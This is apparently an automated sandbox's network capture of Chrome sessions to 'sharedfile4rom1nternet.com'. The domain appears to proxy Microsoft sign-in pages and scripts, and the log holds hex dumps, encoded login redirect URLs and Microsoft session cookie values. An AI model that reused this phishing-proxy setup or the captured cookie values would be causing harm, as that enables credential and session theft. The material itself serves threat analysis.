2024-11-21 13:45:13 UTC	2967	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 68 61 72 65 64 66 69 6c 65 34 72 6f 6d 31 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 79 64 72 76 37 66 68 32 37 3d 61 48 52 30 63 48 4d 36 4c 79 39 73 62 32 64 70 62 69 35 74 61 57 4e 79 62 33 4e 76 5a 6e 52 76 62 6d 78 70 62 6d 55 75 59 32 39 74 4c 32 4e 76 62 57 31 76 62 69 39 76 59 58 56 30 61 44 49 76 59 58 56 30 61 47 39 79 61 58 70 6c 50 32 4e 73 61 57 56 75 64 46 39 70 5a 44 30 77 4d 44 41 77 4d 44 41 77 4d 69 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 6d 63 6d 56 6b 61 58 4a 6c 59 33 52 66 64 58 4a 70 50 57 68 30 64 48 42 7a 4a 54 4e 68 4a 54 4a 6d 4a 54 4a 6d 62 33 Data Ascii: {"csp-report":{"document-uri":"https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3
2024-11-21 13:45:15 UTC	349	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:45:15 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:5c791ad2-9c50-4271-a8a5-5c74d929f3ed x-azure-ref: 20241121T134513Z-1777c6cb754ww792hC1TEBzqu40000000b20000000006u2u X-Cache: CONFIG_NOCACHE
2024-11-21 13:45:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:45:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49769	13.107.246.45	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:13 UTC	650	OUT	POST /report/ESTS-UX-All HTTP/1.1 Host: csp.microsoft.com Connection: keep-alive Content-Length: 2942 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://sharedfile4rom1nternet.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://sharedfile4rom1nternet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:45:13 UTC	2942	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 68 61 72 65 64 66 69 6c 65 34 72 6f 6d 31 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 79 64 72 76 37 66 68 32 37 3d 61 48 52 30 63 48 4d 36 4c 79 39 73 62 32 64 70 62 69 35 74 61 57 4e 79 62 33 4e 76 5a 6e 52 76 62 6d 78 70 62 6d 55 75 59 32 39 74 4c 32 4e 76 62 57 31 76 62 69 39 76 59 58 56 30 61 44 49 76 59 58 56 30 61 47 39 79 61 58 70 6c 50 32 4e 73 61 57 56 75 64 46 39 70 5a 44 30 77 4d 44 41 77 4d 44 41 77 4d 69 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 6d 63 6d 56 6b 61 58 4a 6c 59 33 52 66 64 58 4a 70 50 57 68 30 64 48 42 7a 4a 54 4e 68 4a 54 4a 6d 4a 54 4a 6d 62 33 Data Ascii: {"csp-report":{"document-uri":"https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3
2024-11-21 13:45:14 UTC	349	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:45:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:5c791ad2-9c50-4271-a8a5-5c74d929f3ed x-azure-ref: 20241121T134513Z-r1d97b99577mrt4rhC1TEBftkc0000000acg0000000056ed X-Cache: CONFIG_NOCACHE
2024-11-21 13:45:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:45:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49771	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:15 UTC	1715	OUT	GET /aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:16 UTC	1342	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2052929 Cache-Control: public, max-age=31536000 Content-MD5: GHueukH99mssj362RdK8Fw== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:15 GMT Etag: 0x8DCF55E8343790A Last-Modified: Sat, 26 Oct 2024 01:35:45 GMT Server: ECAcc (ska/F7B2) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5e229a98-601e-00b1-566f-299f72000000 x-ms-version: 2009-09-19 content-length: 57510 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:16 UTC	15042	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.Strin
2024-11-21 13:45:16 UTC	16384	IN	Data Raw: 5f 53 54 52 5f 4f 54 43 45 72 72 6f 72 5f 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 54 68 65 72 65 20 77 61 73 20 61 6e 20 65 72 72 6f 72 20 67 65 74 74 69 6e 67 20 74 68 65 20 51 52 20 63 6f 64 65 2e 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f 43 6f 6e 74 69 6e 75 65 5f 54 69 74 6c 65 3d 22 43 6f 6e 74 69 6e 75 65 20 6f 6e 20 79 6f 75 72 20 6f 74 68 65 72 20 64 65 76 69 63 65 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f 43 6f 6e 74 69 6e 75 65 5f 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 46 6f 6c 6c 6f 77 20 74 68 65 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 6f 6e 20 79 6f 75 72 20 6f 74 68 65 72 20 64 65 76 69 63 65 2e 20 54 68 65 20 63 6f 64 65 20 69 73 20 76 61 6c 69 64 20 66 6f 72 20 7b 30 7d 20 6d 69 6e 75 74 65 73 2e 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f Data Ascii: _STR_OTCError_Description="There was an error getting the QR code.",e.CT_VC_STR_Continue_Title="Continue on your other device",e.CT_VC_STR_Continue_Description="Follow the instructions on your other device. The code is valid for {0} minutes.",e.CT_VC_STR_
2024-11-21 13:45:16 UTC	16384	IN	Data Raw: 61 69 6e 20 6a 6f 69 6e 20 69 6e 73 74 65 61 64 22 2c 6f 2e 66 4f 66 66 6c 69 6e 65 41 63 63 6f 75 6e 74 56 69 73 69 62 6c 65 7c 7c 28 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 3d 22 57 65 20 64 69 64 6e 27 74 20 66 69 6e 64 20 74 68 61 74 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 69 6e 20 79 6f 75 72 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2e 20 55 73 65 20 61 6e 6f 74 68 65 72 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 6f 72 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 22 29 2c 65 2e 43 54 5f 57 69 6e 31 30 5f 53 54 52 5f 53 74 61 72 74 4f 76 65 72 3d 22 53 74 61 72 74 20 6f 76 65 72 20 77 69 74 68 20 61 20 64 69 66 66 65 72 65 6e 74 20 61 63 63 6f Data Ascii: ain join instead",o.fOfflineAccountVisible\|\|(e.CT_PWD_STR_Error_UsernameNotExist="We didn't find that email address in your organization. Use another email address or contact your administrator."),e.CT_Win10_STR_StartOver="Start over with a different acco
2024-11-21 13:45:16 UTC	9700	IN	Data Raw: 65 54 69 6d 65 50 61 73 73 63 6f 64 65 4d 65 73 73 61 67 65 44 65 6c 69 76 65 72 79 46 61 69 6c 65 64 3a 22 35 30 31 38 35 22 2c 49 6e 76 61 6c 69 64 50 61 73 73 77 6f 72 64 3a 22 35 30 31 39 33 22 2c 49 6e 76 61 6c 69 64 4f 6e 65 54 69 6d 65 50 61 73 73 63 6f 64 65 4f 54 50 4e 6f 74 47 69 76 65 6e 3a 22 35 30 31 38 31 31 22 2c 49 6e 76 61 6c 69 64 47 72 61 6e 74 44 65 76 69 63 65 4e 6f 74 46 6f 75 6e 64 3a 22 37 30 30 30 30 33 22 2c 53 73 6f 41 72 74 69 66 61 63 74 45 78 70 69 72 65 64 44 75 65 54 6f 43 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 3a 22 37 30 30 34 34 22 2c 53 73 6f 41 72 74 69 66 61 63 74 45 78 70 69 72 65 64 44 75 65 54 6f 43 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 52 65 41 75 74 68 3a 22 37 30 30 34 36 22 2c 49 6e 76 61 6c Data Ascii: eTimePasscodeMessageDeliveryFailed:"50185",InvalidPassword:"50193",InvalidOneTimePasscodeOTPNotGiven:"501811",InvalidGrantDeviceNotFound:"700003",SsoArtifactExpiredDueToConditionalAccess:"70044",SsoArtifactExpiredDueToConditionalAccessReAuth:"70046",Inval

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49772	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:16 UTC	1696	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:17 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:16 GMT Connection: close
2024-11-21 13:45:17 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2024-11-21 13:45:17 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
